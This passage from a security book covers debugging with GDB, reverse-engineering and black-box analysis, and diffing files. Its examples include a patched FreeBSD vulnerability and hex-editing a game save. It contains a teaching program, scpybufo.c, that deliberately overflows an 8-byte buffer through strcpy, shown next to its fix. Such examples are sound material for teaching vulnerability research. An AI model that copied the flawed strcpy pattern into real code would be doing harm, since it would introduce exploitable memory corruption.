("Hello World\n"); (gdb) disassemble Now that we have reached the breakpoint we set up during the execution of the debugging session, we issue the disassemble command to display some further information about the program. Dump of assembler code for function main: 0x80483d0 <main>: push %ebp 0x80483d1 <main+1>: mov %esp,%ebp 0x80483d3 <main+3>: push $0x8048440 0x80483d8 <main+8>: call 0x8048308 <printf> 0x80483dd <main+13>: add $0x4,%esp 0x80483e0 <main+16>: xor %eax,%eax 0x80483e2 <main+18>: jmp 0x80483e4 <main+20> 0x80483e4 <main+20>: leave 0x80483e5 <main+21>: ret End of assembler dump. This is what “hello world” looks like in x86 Linux assembly. Examining your own programs in a debugger is a good way to get used to disassembly listings. (gdb) s www.syngress.com 124 Chapter 4 • Methodology printf (format=0x8048440 "Hello World\n") at printf.c:30 printf.c: No such file or directory. I then “step” (s command) to the next command, which is the printf call. GDB indicates that it doesn’t have the printf source code to give any further details. (gdb) s 31 in printf.c (gdb) s Hello World 35 in printf.c (gdb) c Continuing. A couple more steps into printf, and we get our output. I use “continue” (c command) to tell GDB to keep running the program until it gets to another breakpoint or finishes. Program exited normally. (gdb) Other related tools include nm and objdump from the GNU binutils collection. Objdump is a program for manipulating object files. It can be used to display symbols in an object file, display the headers in an object file, or even disassemble an object file into assembly code. Nm performs functions similar to objdump, allowing the user to see the symbols referenced by an object file. www.syngress.com Tools Are No Substitutes For Knowledge Some of the disassembly and debugging tools are fantastic in the number of features they offer. However, like any tool, they are not perfect. This is especially true when dealing with malicious code (viruses, worms, Trojans) or binary exploits. Often the authors of these types of binary code specifically want to make analysis difficult, and will take steps to make the tools less functional. For example, the RST Linux virus checks to see if it is being debugged, and will exit if that is the case. The same virus modifies the ELF file headers when it infects a file in such a Tools & Traps… Continued Methodology • Chapter 4 125 Black Box Testing The term black box refers to any component or part of a system whose inner functions are hidden from the system user.There are no exposed settings or controls; it just accepts input and produces output. It is not intended to be open or modified and there are no user serviceable parts inside. Black box testing can be likened to binary auditing. Both types of auditing require dealing with binary data. Black boxes, however, appear with varying degrees of transparency.We recognize two different classes of problems with which we may be presented: black box, and obsidian box. Of course, these are conceptual boxes rather than physical objects.The type of box refers to our level of visibility into the workings of the system we want to attack. Naturally, the very idea of a black box is an anathema to most hackers. How could you have a box that performs some neat function, and not want to know how it does it? We will be discussing ideas on how to attack a true black box, but in reality we will be spending most of our energy trying to pry the lid off. www.syngress.com way as to make some disassemblers unable to access the virus portion of the binary directly. (Specifically, there is no declared code segment for the virus code, but it gets loaded along with the previous segment, and will still execute.) It’s very common for a piece of malicious code to be somewhat protected with encryption or compression. The Code Red worms existed in the wild only as half overflow string/half code, meaning that none of the standard file headers were present. All of the above means that you will still need to know how to do things manually if need be. You will need to be able to tell from examining a file header that portions have been modified, and how to interpret the changes. You may need to be able to perform several iterations of code analysis for encrypted code. You will have to analyze the decryption routine, replicate the code that does the work, and then analyze the results. You may not only have to be able to read assembly language, but be able to write it in order to copy a decryption or decompression function. Writing assembly code is generally harder than reading it. This is not to indicate that the tools are useless. Far from it. You may hit a stumbling block for which the tool is inadequate, but once past it, you will want to plug the results right back into the tool and continue from there. Besides, sometimes using the tools is the best way to learn how things work in the first place. 126 Chapter 4 • Methodology Chips Imagine you have a piece of electronics gear that you would like to reverse engineer. Most equipment of that type nowadays would be built mostly around integrated circuits (ICs) of some kind. In our hypothetical situation, you open the device, and indeed, you see an IC package as expected, but the identifying marks have been sanded off! You pull the mystery chip out of its socket and try to determine which chip it is. Unknown ICs are a good example of a real-life black box (they’re even black).Without the markings, you may have a lot of difficulty determining what kind of chip it is. What can you tell from a visual inspection? You can tell it has 16 pins, and that’s about it. If you examine the circuit board it came out of, and start visually following the traces in the board, you can probably pretty easily determine the pins to which the power goes, and that can be verified with a volt meter. Guessing which pins take power (and how much) can be fun, because if you get it wrong, you can actually fry the chip. Beyond that, you’ll probably have to try to make inferences based on any other components in the gadget.You can start to make a list of components that attach to the chip, and to which pins they attach. For example, perhaps two of the pins eventually connect to a light emitting diode (LED). If it turns out that the chip is a simple Transistor-to-Transistor Logic (TTL) device, you might be able to deduce simple logic functions by applying the equivalent of true-and-false signals to various pins and measuring for output on other pins. If you could deduce, for example, that the chip was simply a bunch of NAND (not-and) gates, you could take that information, go to a chip catalog, and figure out pretty quickly which chip (or equivalent) you have. On the other hand, the chip could turn out to be something as complex as a small microprocessor or an entire embedded system. If it were the latter case, there would be far, far too many combinations of inputs and outputs for a trial-and-error map. For an embedded system, there will probably also be analog components (for example, a speaker driver) that will frustrate any efforts to map binary logic. For an example of a small computer on a chip of this sort, go to http://www.parallaxinc.com/html_file...dule_bs2p.asp. Parallax produces a family of chips that have built-in BASIC interpreters, as well as various combinations of input and output mechanisms.The underlying problem with such a complex device is that the device in question has way more states than you could possibly enumerate. Even a tiny computer with a very small www.syngress.com Methodology • Chapter 4 127 amount of memory can produce an infinite amount of nonrepeating output. For a simple example, imagine a single-chip computer that can do addition on huge integers. All it has to do is run a simple program that adds 1 to the number each time and outputs that for any input you give it.You’d probably pretty quickly infer that there was a simple addition program going on, but you wouldn’t be able to infer any other capabilities of the chip.You wouldn’t be able to tell if it was a general-purpose programmable computer, or if it was hardware designed to do just the one function. Some folks have taken advantage of the fact that special sequences are very unlikely to be found in black boxes, either by accident or when actively looked for. All the person hiding a sequence has to do is make sure the space of possibilities is sufficiently large to hide his special sequence. For a concrete example, read the following article: http://www.casinoguru.com/features/0...9_tocatch.htm. It tells of a slot machine technician who replaced the chip in some slot machines, so that they would pay a jackpot every time a particular sequence of coins was put in the machine, and the handle pulled.Talk about the ultimate Easter egg! So, if you can’t guess or infer from the information and experiments available to you what this chip does, what do you do? You open it! Open a chip? Sure. Researchers of “tamper-proof ” packaging for things like smart cards have done any number of experiments on these types of packages, including using acid to burn off the packaging, and examining the chip layout under a microscope.We’ll cover this kind of hardware hacking in Chapter 14. So, as indicated before, our response to being frustrated at not being able to guess the internals of a black box is to rip it open. An analogy can be found in this author’s experiences visiting Arizona’s obsidian mines—held at arms length, obsidian looks like a black rock. However, if held up to a bright light one can see the light through the stone.There are no truly “black boxes,” but rather, they are “obsidian boxes” that permit varying degrees of vision into them. In other words, you always have some way to gain information about the problem you’re trying to tackle. www.syngress.com 128 Chapter 4 • Methodology Summary Vulnerability research methodologies are the commonly used principles of auditing systems for vulnerabilities.The process of source code research begins with searching the source code for error-prone directives such as strcpy and sprintf. Another method is the line-by-line review of source code by the person auditing the program, which is a comprehensive audit of the program through all of its execution sequences. Discovery through difference is another method, using the diff utility on different versions of the same software to yield information about security fixes.The method of undertaking binary research can involve various utilities such as tracing tools, debuggers, guideline-based auditing, and sniffers. An auditing source code review involves the search for error-prone functions and line-by-line auditing methodologies. In this chapter, we looked at an example of an exploitable buffer overflow using strcpy, an example using sprintf, an example using strcat, and an example using gets.We dissected input validations bugs, such as a format string vulnerability using printf, and a open function written in Perl.We also examined a race condition vulnerability in the mktemp function. Reverse engineering is one of the most commonly used and accurate methods of finding vulnerabilities in a closed-source program.This type of research is performed from the top-down.Windows auditing tools are available from sysinternals.com, and using the Rosetta Stone list to map system calls across platforms. In this chapter, we traced the execution of the cat program, first on a Red Hat Linux system, then a Solaris 7 system. Disassemblers, and debuggers drill down into binary code.A disassembler (also known as a decompiler) is a program that takes binary code and turns it into a higher-level language like assembly.A debugger is a program that can control the execution of another program. In this chapter, we examined the output of disassembly on the Windows platform using IDA Pro, then performed a debugging session with GDB on a Linux system.We also discussed objdump, a program used to manipulate object files; and nm, a program that displays the symbol information contained in object files. A black box is a (conceptual) component whose inner functions are hidden from the user; black box testing is similar to binary auditing, in that it involves reverse-engineering integrated circuits. One may also identify a chip by deduction of output, or by literally ripping it open to examine it. Black boxes have varying degrees of transparency. www.syngress.com Methodology • Chapter 4 129 Solutions Fast Track Understanding Vulnerability Research Methodologies Source research and review is the most ideal vulnerability research methodology. Source research is often conducted through searching for error-prone directives, line-by-line review, and discovery through difference. Binary research is often performed through tracing binaries, debuggers, guideline-based auditing, and sniffers. The Importance of Source Code Review Source review is a necessary part of ensuring secure programs. Searching for error-prone directives in source can yield buffer overflows, input validation bugs, and race conditions. The grep utility can be used to make the searching of error-prone directives efficient. Reverse Engineering Techniques Freely available auditing tools for Windows are available from www.sysinternals.com. The Rosetta Stone (at http://bhami.com/rosetta.html) can be used to map system utilities across platforms. Debuggers can be used to control the execution of a program, and find problem sections of code. Black Box Testing Black box testing is the process of discovering the internals of a component that is hidden from the naked eye. Ripping open a black box is the easiest way to determine the internals. There are no true black boxes. Most allow varying degrees of transparency. www.syngress.com 130 Chapter 4 • Methodology Q: What is the best method of researching vulnerabilities? A: This question can only yield a subjective answer.The best methods a researcher can use are the ones he or she is most comfortable with, and are most productive for the research.The recommended approach is to experiment with various methods, and organization schemes. Q: Is decompiling and other reverse engineering legal? A: In the United States, reverse engineering may soon be illegal.The Digital Millennium Copyright Act includes a provision designed to prevent the circumvention of technological measures that control access to copyrighted works. Source code can be copyrighted, and therefore makes the reverse engineering of copyrighted code illegal. Q: Are there any tools to help with more complicated source code review? A: Tools such as SCCS and CVS may make source review easier. Additionally, integrated development environments (IDEs) may also make source review an easier task. Q: Where can I learn about safe programming? A: A couple different resources one may use are the Secure UNIX Programming FAQ at www.whitefang.com/sup/secure-faq.html, or the secprog mailing list moderated by Oliver Friedrichs. Q: Where can I download the source to these example programs? A: The source is available at www.syngress.com/solutions. |
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![]() Chapter 5 • Diffing
Introduction Diffing, the comparison of a program, library, or other file before and after some action, is one of the simplest hacking techniques. It is used frequently during security research, often to the point that it is not thought of as a separate step. Diffing can be done at the disk, file, and database levels. At the disk level, you can discover which files have been modified. At the file level, you can discover which bytes have been changed. At the database level, you can discover which records are different. By doing so, you can discover how to manipulate the data outside of the application for which it is intended. What Is Diffing? The diff utility predates many of the modern UNIX and UNIX-clone operating systems, appearing originally in the UNIX implementation distributed by AT&T and currently available in many variations on the original.The name diff is shorthand for difference, derived from getting a list of the differences between two files. The term diffing can therefore be defined as the use of the diff utility (or similar program) to compare two files. From this comparison, we can gather information for such purposes as determining what has changed from one revision of the software to the next; whether or not a binary is different from another claiming to be the same; or how a data file used by a program has changed from one operation to another. Examine the source code of the program shown in Figure 5.1. Figure 5.1 Source Code of scpybufo.c /* scpybufo.c */ /* Hal Flynn */ /* December 31, 2001 */ /* scpybufo.c demonstrates the problem */ /* with the strcpy() function which */ /* is part of the c library. This */ /* program demonstrates strcpy not */ /* sufficiently checking input. When */ /* executed with an 8 byte argument, a */ /* buffer overflow occurs. */ www.syngress.com Continued www.syngress.com #include<stdio.h> #include<strings.h> int main(int argc, char *argv[]) { overflow_function(*++argv); return (0); } void overflow_function(char *b) { char c[8]; strcpy(c, b); return; } As mentioned in the header, this program contains a buffer overflow. (We saw this program originally in Chapter 4, in the “Buffer Overflows” section.) Now examine the next program, shown in Figure 5.2. Figure 5.2 Source Code of sncpyfix.c /* sncpyfix.c */ /* Hal Flynn */ /* January 13, 2002 */ /* sncpyfix.c demonstrates the proper */ /* function to use when copying */ /* strings. The function provides a */ /* check for data length by limiting */ /* the amount of data copied. */ Diffing • Chapter 5 133 Figure 5.1 Continued Continued 134 Chapter 5 • Diffing #include<stdio.h> #include<strings.h> int main(int argc, char *argv[]) { overflow_function(*++argv); return (0); } void overflow_function(char *b) { char c[8]; size_t e = 8; strncpy(c, b, e); return; } This program is presented as a fixed version of Figure 5.1.As we can see, the two programs have the same structure, use most of the same functions, and use the same variable names. Using the diff program on a UNIX system, we can see the exact differences between these two programs (Figure 5.3). Figure 5.3 Output of a Diff Session Between scpybufo.c and sncpyfix.c elliptic@ellipse:~/syngress$ diff scpybufo.c sncpyfix.c 1c1 < /* scpybufo.c */ --- > /* sncpyfix.c */ 3,10c3,8 < /* December 31, 2001 */ www.syngress.com Figure 5.2 Continued Continued Diffing • Chapter 5 135 < /* scpybufo.c demonstrates the problem */ < /* with the strcpy() function which */ < /* is part of the c library. This */ < /* program demonstrates strcpy not */ < /* sufficiently checking input. When */ < /* executed with an 8 byte argument, */ < /* a buffer overflow occurs. */ --- > /* January 13, 2002 */ > /* sncpyfix.c demonstrates the proper */ > /* function to use when copying */ > /* strings. The function provides a */ > /* check for data length by limiting */ > /* the amount of data copied. */ 25a24 > size_t e = 8; 27c26 < strcpy(c, b); --- > strncpy(c, b, e); As we can see in the beginning of the output, data in scpybufo.c is indicated by the < symbol, and the data in sncpyfix.c is indicated by the > symbol.The beginning of this diff is consumed by the header of both files. Beginning at context number 25a24, we can see that the differences in the actual code begin.A size_t variable appears in sncpyfix.c that is not in scpybufo.c. At context number 27c26, we see the change of the strcpy function to the strncpy function.Though it is impractical to diff files as small as these, the usefulness of this utility becomes much more apparent when files containing more lines of code are compared.We discuss the reasons for diffing source code next. Why Diff? Why is it useful to be able to see the differences in a file or memory before and after a particular action? One reason is to determine the portion of the file or the www.syngress.com Figure 5.3 Continued 136 Chapter 5 • Diffing memory location of the item of interest. For example, if a hacker has a file that he thinks contains a form of a password to an application, but the file appears to be in a binary format, he might like to know what part of the file represents the password. To make this determination, the hacker would have to save a copy of the file for comparison, change the password, and then compare the two files. One of the differences between the two files (since there could be several) represents the password.This information is useful when a hacker want to make changes to the file directly, without going through the application.We look at an example of this scenario in this chapter. For cases like this, the goal is to be able to make changes to the storage directly. In other cases, a hacker might be interested largely in decoding information rather than changing it.The steps are the same, causing actions while monitoring for changes.The difference is that rather than trying to gain the ability to make changes directly, the hacker wants to be able to determine when a change occurs and possibly infer the action that caused it. Another reason is the security research discovery process. In the days of full disclosure, it is still common for vendors to release a fix without detailing the problems when the vulnerability is announced. Several major software vendors, such as Microsoft, Hewlett-Packard, and Caldera, are guilty of this practice. Vendors such as Linux companies (with the exception of Caldera) are the exception, whereas companies such as Cisco are on the fence, going back and forth between both sides of the information disclosure debate. The use of diffing can expose a vulnerability when a software vendor has released a vague announcement concerning a security fix.A diff of the source code of two programs can yield the flaw and thus the severity of the issue. It can also be used to detect problems that have been quietly fixed from one revision of a software package to another. Looking to the Source Code Let’s go back to our discussion about diffing source code. In Figures 5.1 and 5.2, we showed the source code of two programs.The two are the same program, just different revisions.The first program contained a buffer overflow in strcpy, the second one a fixed version using strncpy. From the output of a diff between the two source files (shown in Figure 5.3), we were able to determine two changes in the source code.The first change added a size_t variable in the sncpyfix.c program.The second change made a strcpy function in scpybufo.c into a strncpy function in sncpyfix.c. www.syngress.com Diffing • Chapter 5 137 Discovering problems in open source software is relatively easy.Often, problems in open source software are disclosed through files distributed to fix them. This is demonstrated through patch files produced by UNIX clone vendors such as Linux and the BSDs. Observe the patch in Figure 5.4, distributed in response to FreeBSD Security Advisory FreeBSD-SA-02:02. Figure 5.4 Source Code of FreeBSD’s pw.patch --- usr.sbin/pw/pwupd.c 2001/08/20 15:09:34 +++ usr.sbin/pw/pwupd.c 2001/12/20 16:03:04 @@ -176,7 +176,7 @@ */ if (pwd != NULL) fmtpwentry(pwbuf, pwd, PWF_MASTER); - rc = fileupdate(getpwpath(_MASTERPASSWD), 0644, pwbuf, pfx, l, mode); + rc = fileupdate(getpwpath(_MASTERPASSWD), 0600, pwbuf, pfx, l, mode); if (rc == 0) { #ifdef HAVE_PWDB_U if (mode == UPD_DELETE || isrename) This patch appears in unified diff format. Although the advisory released by FreeBSD contained all the pertinent information, including a detailed description of the problem, examination of this file reveals the nature of the problem.This patch is applied to the pwupd.c source file in the usr.sbin/pw/ source directory, as specified in the first lines of the patch. The pw program included with FreeBSD is used to add, remove, or modify users and groups on a system.The problem with the program is that when an action is performed with the pw utility, a temporary file is created with worldreadable permissions, as denoted in the line beginning with the single minus (-). This could allow a local user to gain access to encrypted passwords on the system. Had the problem not been disclosed by the FreeBSD security team, we could have performed an audit on the source ourselves. After obtaining the two source files (pwupd.c prior to the change, pwupd.c after the change) and diffing the two files, we can see the alterations to the source code, shown in Figure 5.5. www.syngress.com 138 Chapter 5 • Diffing Figure 5.5 Diff Output Between Versions 1.12.2.3.2.1 and 1.17 of FreeBSD pwupd.c elliptic@ellipse:~/pw$ diff pwupd1.c pwupd2.c 29c29 < "$FreeBSD: src/usr.sbin/pw/pwupd.c,v 1.17 2001/08/20 15:09:34 brian Exp $"; --- > "$FreeBSD: src/usr.sbin/pw/pwupd.c,v 1.12.2.3.2.1 2001/12/21 15:23:04 nectar Exp $"; 169,170d168 < if (l < 0) < l = 0; 179c177 < rc = fileupdate(getpwpath(_MASTERPASSWD), 0644, pwbuf, pfx, l, mode); --- > rc = fileupdate(getpwpath(_MASTERPASSWD), 0600, pwbuf, pfx, l, mode); Between the older version and the most current revision of the pwupd.c files, we can see the same changes that were in the patch file shown in Figure 5.4. www.syngress.com Recursive Grepping So what if we do not know the exact file that was patched? What if, rather than getting detailed information, such as that provided by the advisory, we are instead given a new revision of the software containing multiple directories of source code? This is where the comparison of directories via diff comes in handy. An entire directory can be examined via diff to compare all like files within the directory. This is accomplished by using the recursive (-r) flag. Diffing the directories with the recursive flag descends any subdirectories below the top specified directory. Therefore, we may gain a full comparison of both directories. Recursive diffing is a feature built into GNU Notes from the Underground… Continued Diffing • Chapter 5 139 Going for the Gold: A Gaming Example I first ran across the idea of directly manipulating data files in order to affect an application when I was about 13 years old. At the time, I had an Apple ][+ computer and enjoyed games quite a bit. By that point, I had completed somewhere between one and two years of junior high programming classes. One of my favorite games was Ultima 2. Ultima is a fantasy role-playing game that puts you in the typical role of hero, with a variety of weapons, monsters to kill, and gold to be had. As is typical of games of this genre, the goal is to gain experience and gold and solve the occasional quest.The more experience you have, the more efficiently you can kill monsters; the more gold you have, the better weapons and armor you can buy. I wanted to cheat. I was tired of getting killed by daemons, and at that age, I had little concept of the way that cheating could spoil my game.The obvious cheat would be to give my character a lot more gold. I knew the information was written to a diskette each time I saved my game, and it occurred to me that if I could find where on the diskette the amount of gold I had was stored, I might be able to change it. The technique I used at that time is a little different from what we present in this chapter, largely because the tools I had at my disposal were much more primitive.What I did was to note how much gold I had, save my game, and exit. I had available to me some sort of sector editor, which is a program used to edit individual disk sectors straight on the disk, usually in hexadecimal format.The sector editor had a search feature, so I had it search the disk for the name of my character to give me an approximate location on the disk to examine in detail. In short order, I found a pair of numbers that corresponded to the amount of gold I had when I saved my game. I made an increase and saved the changes to the www.syngress.com diff and is not built into the versions of diff included with other operating systems. For example, the version of diff included with Solaris 8 and previous versions cannot perform recursive directs alone. However, with a little extra work on the command line, the same command can be performed. According to Ryan Tennant’s (Argoth) Solaris Infrequently Asked Obscure Questions (IAOQ) at http://shells.devunix.org/~argoth/iaoq, a recursive grep can be performed using the following command: /usr/bin/find . | /usr/bin/xargs /usr/bin/grep PATTERN 140 Chapter 5 • Diffing sector.When I loaded my game back up, I had much more gold. Eureka! My first hack. Little did I know at the time that I had stumbled onto a technique that would serve me for many years to come. I was able to expand my small bit of research and built myself an Ultima 2 character editor that would allow me to modify most of the character attributes, such as strength, intelligence, number of each type of weapons, armor, and the like. Of course, that was more years ago than I care to admit. (To give you an idea, Ultima IX was recently released, and the manufacturer makes a new version only every couple of years, on average.) Today, I play different games, such as Heroes of Might and Magic II. It is a fantasy role-playing game in which you play a character who tries to gather gold and experience through killing monsters… you get the idea. Figure 5.6 shows the start of a typical game. In particular, notice the amount of gold I have: 7500 pieces.The first thing I do is save the game, calling it hack1. Next I make a change to the amount of gold I have.The easiest way is to buy something; in my case, I went to the castle and bought one skeleton, one of the lowest-priced things to buy. It’s important to have the change(s) be as small as possible, which we’ll discuss shortly. After the purchase of the skeleton, I now have 7425 gold pieces. I save the game again, www.syngress.com Figure 5.6 Beginning of a Heroes of Might and Magic II Game Diffing • Chapter 5 141 calling it hack2. I drop to a DOS prompt and run the file compare (fc) command, as shown in Figure 5.7. Figure 5.7 Comparison of Two Files Using the DOS fc Utility C:\Program Files\Heroes2\GAMES>dir hack* Volume in drive C has no label Volume Serial Number is 3C3B-11E3 Directory of C:\Program Files\Heroes2\GAMES HACK1 GM1 108,635 06-03-00 11:32p hack1.GM1 HACK2 GM1 108,635 06-03-00 11:39p hack2.GM1 2 file(s) 217,270 bytes 0 dir(s) 10,801.64 MB free C:\Program Files\Heroes2\GAMES>fc /b hack1.gm1 hack2.gm1 Comparing files hack1.GM1 and hack2.gm1 000002A2: 31 32 000002C3: 32 FF 00000306: FF 03 00000368: 4C 01 00003ACE: FF 2F 00003AD3: 00 01 00003AE4: 08 07 C:\Program Files\Heroes2\GAMES> The fc command compares two files, byte for byte, if you give it the /b switch, and reports the differences in hex. So, my next stop is the Windows calculator (calc.exe) to see what 7500 and 7425 are in hex. If you pick Scientific under the View menu in the calculator, you are presented with some conversion options, including decimal to hex, which is what we want.With Dec selected, punch in 7500 and then click Hex.You’ll get 1D4C. Repeat the process for 7425, and you’ll get 1D01. www.syngress.com 142 Chapter 5 • Diffing Now, looking at the results of the fc command, the difference at address 368 (hex) looks promising. It was 4C and is now 01, which matches our calculations exactly.We can also probably infer what some of the other numbers mean as well. There were eight skeletons available in our castle, and we bought one, leaving seven.That would seem to indicate the byte at 3AE4.The byte at 3AD3 might indicate one skeleton in our garrison at the castle, where there were none before. For now, though, we’re only interested in the gold amount. So, I fire up a hex editor (similar to a sector editor but intended to be used on files rather than a raw disk) and load hack2.gm1. I go to offset 368, and there are our values 01 1D. Notice that they appear to be reversed, as we Latin-language-based humans see them.That’s most likely because Intel processors store the least significant byte first (in the lower memory location).There’s only one way to find out if we have the right byte: change it. I change the 1D (the most significant byte, because I want the biggest effect) to FF (the biggest value that fits in one byte, expressed in hex). Figure 5.8 shows the result of loading hack2.gm1 into the game. Take a look at the amount of gold, which is now 65281. A quick check with calc.exe confirms that 65281 in decimal is FF01 in hex.We now have a signifi- cant advantage in the game and can crush our simulated enemies with ease. www.syngress.com Figure 5.8 The Same Game After the Saved Game Was Manually Edited; Note the Gold Amount Diffing • Chapter 5 143 Should we have wanted even more gold, which is entirely possible to gain in this game, we could have tried increasing the next byte to the right of the 1D as well, which was 0 when I looked at it. At worst, a couple tries at the adjacent bytes in the file with the hex editor will reveal which byte is needed to hand yourself millions of gold pieces. Of course, the purpose of this book isn’t really to teach you how to cheat at games; there are more efficient means to do so than we’ve outlined here. For this game in particular, someone has written a saved-game editor, likely starting with the exact same technique we’ve outlined here.There are also a few cheat codes you can just punch directly into the game, keeping you from having to exit at all. A quick Web search reveals either, if you’re really interested. If you’re familiar with this game, you might be wondering why our example wasn’t done in Heroes of Might and Magic III, which is the current version.The reason is discussed later in the chapter. Exploring Diff Tools Before we move on to other, more interesting examples, let’s take a moment to discuss some of the tools needed to perform this sort of work. In the previous section, we discussed the use of the fc utility and showed a brief example of the utility in action.We also talked about the use of hex editors, sector editors, and calc.exe for our purposes. Here we take a closer, more detailed look at the use and functionality of diff utilities. Using File-Comparison Tools The first step in diffing files is to determine the differences between two files.To do this, we’ll need some file-comparison tools. Let’s examine a couple of them. Using the fc Tool The fc utility, which has been included in DOS (and later,Windows) for many years, is the first tool we will take a look at in more depth. If you’ve got a Windows 9x machine, fc can be found in c:\windows\command or whatever your Windows directory is if it’s not c:\windows. By default, c:\windows\ command is in the path, so you can simply type fc when you need it.These are the options available in fc: C:\windows\COMMAND>fc /? Compares two files or sets of files and displays the differences between www.syngress.com 144 Chapter 5 • Diffing them. FC [/A] [/C] [/L] [/LBn] [/N] [/T] [/W] [/nnnn] [drive1:][path1]filename1 [drive2:][path2]filename2 FC /B [drive1:][path1]filename1 [drive2:][path2]filename2 /A Displays only first and last lines for each set of differences. /B Performs a binary comparison. /C Disregards the case of letters. /L Compares files as ASCII text. /LBn Sets the maximum consecutive mismatches to the specified number of lines. /N Displays the line numbers on an ASCII comparison. /T Does not expand tabs to spaces. /W Compresses white space (tabs and spaces) for comparison. /nnnn Specifies the number of consecutive lines that must match after a mismatch. There’s the /b switch that was mentioned. If you’re comparing binary files without that, the comparison will stop if it hits an end-of-file character or a zero byte.With this particular command, the command-line switches aren’t case sensitive, as evidenced by the fact that the help shows /B, while we’ve demonstrated that /b works fine.There are a number of text options that you can explore on your own.As we’ll see next, there’s a much better utility for comparing text files, but if you find yourself working on someone else’s machine that doesn’t have it, fc is almost always there (on Windows machines) and it will do in a pinch. NOTE The rough UNIX equivalent of fc /b is the command cmp –l (lowercase l). www.syngress.com Diffing • Chapter 5 145 Using the diff Command The diff command originates on the UNIX platform. It has limited binary comparison capabilities but is useful primarily for text file comparison. In fact, its text comparison features are exceptional.The complete list of capabilities for diff is much too large to include here; check the UNIX man pages or equivalent for the full list. To give you an idea of what diff can do if you’ve not heard of it before, we’ll list a few of the most commonly used features. Using a simple-minded text-comparison tool, if you were to take a copy of a file and insert a line somewhere in the middle, it would probably flag everything after the added lines as a mismatch. Diff is smart enough to understand that a line has been added or removed: [root@rh /tmp]$ diff decode.c decode2.c 14a15 > #include <newinclude.h> [root@rh /tmp]$ diff decode2.c decode.c 15d14 < #include <newinclude.h> The two files in question (decode.c and decode2.c) are identical except for a line that has been added to decode2.c that reads #include <newinclude.h>. In the first example, decode.c is the first argument to the diff command, and decode2.c is the second.The output indicates that a line has been added in the second file, after line 14 and going through line 15, and then lists the contents. If you reverse the arguments, the difference becomes a delete instead of an add (note the a in the first output and the d in the second). This output is called diff output or a diff file and has the property that if you have the diff file and the original file being compared, you can use the diff file to produce the second file. For this reason, when someone wants to send someone else a small change to a text file, especially for source code, they often send a diff file.When someone posts a vulnerability to a mailing list regarding a piece of open source software, it’s not uncommon for the poster to include diff output that will patch the source to fix the output.The program that patches files by using diff output is called patch. The diff program, depending on which version you have, can also produce other scripts as its difference output, such as for ed or Revision Control System (RCS). It can accept regular expressions for some of its processing, understands C www.syngress.com 146 Chapter 5 • Diffing program files to a degree, and can produce as part of its output the function in which the changes appear. A Windows version of diff (as well as many other UNIX programs) is available from the Cygwin project.The Cygwin project is a porting project that is intended to bring a number of the GNU and other UNIX-based tools to the Windows platform.All GNU software is covered under some form of the GNU Public License (GPL), making the tools free.This work (including a package containing the Windows version of diff) can be found at http://sourceware.cygnus .com/cygwin. Microsoft also includes a utility called Windiff in the Windows NT and Windows 98 resource kits. It’s a graphical version of a diff-style utility that displays changes in different colors and has a graph representation of where things have been inserted or deleted. Working with Hex Editors We mentioned in passing about using a hex editor to make a change to a binary file. A hex editor is a tool that allows the user to directly access a binary file without having to use the application program to which that type of file belongs. I say “binary” file, which is, of course, a superset of text files as well; however, most people have a number of programs on their computer that allow editing of text files, so a hex editor is a bit of overkill and cumbersome for editing text files. In general, a hex editor does not understand the format of the file it is used to edit. Some hex editors have powerful features, such as search functions, numeric base converters, cut and paste, and others. However, at the base level, they are still simply working on a list of byte values. It’s up to the user of the hex editor to infer or deduce which bytes you need to edit to accomplish your task, as we did in our game example earlier in the chapter. A large number of other hex editors are available.These range all over the spectrum in terms of costs (from freeware to commercial), quality, and functionality. For most people, the “best” editor is very much a matter of personal preference. It might be worth your time to try a number of different editors until you find the one you like. The three that we look at briefly here—Hackman, [N] Curses Hexedit, and Hex Workshop—are not necessarily representative of hex editors in general, nor should they be considered an adequate cross-section of what’s out there.They merely represent three that I have found interesting. www.syngress.com Diffing • Chapter 5 147 Hackman Hackman is a free Windows-based hex editor. It has a long list of features, including searching, cutting, pasting, a hex calculator, a disassembler, and many others.The graphical user interface (GUI) is somewhat sparse, as you can see in Figure 5.9. Hackman even includes command-line functionality, visible at the bottom of Figure 5.9. In the figure, we can see Hackman being used to hex-edit cmd.exe. Hackman is easy to use and offers the functionality you need from a basic hex editor, with the added benefit of a nice user interface. It is reliable and userfriendly and has benefited from recent development efforts. Hackman can be found at www.technologismiki.com/hackman. www.syngress.com Figure 5.9 The Hackman User Interface 148 Chapter 5 • Diffing [N] Curses Hexedit Another free program (in fact, some might consider it more free, since it’s available under the GPL) is [N] Curses Hexedit. As mentioned, it’s GPL software, so the source is available should you want to make enhancements.There are versions available for all the major UNIX-like OSs as well as DOS. If you think the Hackman interface is plain, this one is downright Spartan, as shown in Figure 5.10. Functionality is also fairly basic.There is a search function, a simple binary calculator (converter), and the usual scrolling and editing keys.The whole list can be seen in Figure 5.11. www.syngress.com Figure 5.10 [N] Curses Hexedit Interface, DOS Version Figure 5.11 [N] Curses Hexedit Help Screen Diffing • Chapter 5 149 If this tool is a little light on features, it makes up for it in simplicity, light resource usage, and cross-platform support.The current version is 0.9.7, which, according to the changelog, has been the current version since August 8, 1999. This should not necessarily be taken to mean that the project will undergo no future development, but rather that it likely works the way the author wants it to. Possibly, if the author decides that he wants to add something or if someone points out a bug, he’ll release an update. It’s also possible that if you write an enhancement and send it to him, he’ll include it in a new official release. [N] Curses Hexedit can be obtained at http://ccwf.cc.utexas.edu/~apoc/ programs/c/hexedit. Hex Workshop Finally, we take a look at a commercial hex editor, Hex Workshop from BreakPoint Software.This is a relatively inexpensive package (US$49.95 at the time of this writing) for the Windows platform.A 30-day free trial is available. The interface on this program is nicely done, as shown in Figure 5.12, and it seems very full-featured. www.syngress.com Figure 5.12 Hex Workshop User Interface 150 Chapter 5 • Diffing Hex Workshop includes arithmetic functions, a base converter, a calculator, a checksum calculator, and numerous other features. If your hands are accustomed to the standard Windows control keys (for example, Ctrl-F brings up the Find dialog box), you’ll probably be at home here. If you’re a Windows user and you end up doing a lot of hex editing, you might want to treat yourself to this package. Hex Workshop can be obtained at www.bpsoft.com. Utilizing File System Monitoring Tools The third class of tools we will look at are called file system monitoring tools.These are distinct from tools that work on individual files; they work on a group of files, such as a partition, drive letter, or directory.These tools also span a wider range of functionality, since they often have different purposes. In some cases, we will be taking advantage of a side effect. Before you can work on an individual file, you often need to determine which file it is you’re interested in. Sometimes this can be done by trial and error or by making an educated guess. However, you will often want tools available to make the process easier. For example, after you’ve caused your program to perform some action, you will want to know what was changed. In most cases, your action will have changed a file on the disk, but which one? If the filenames offer no clue, how do you determine which files are being modified? One obvious way is to take a copy of every 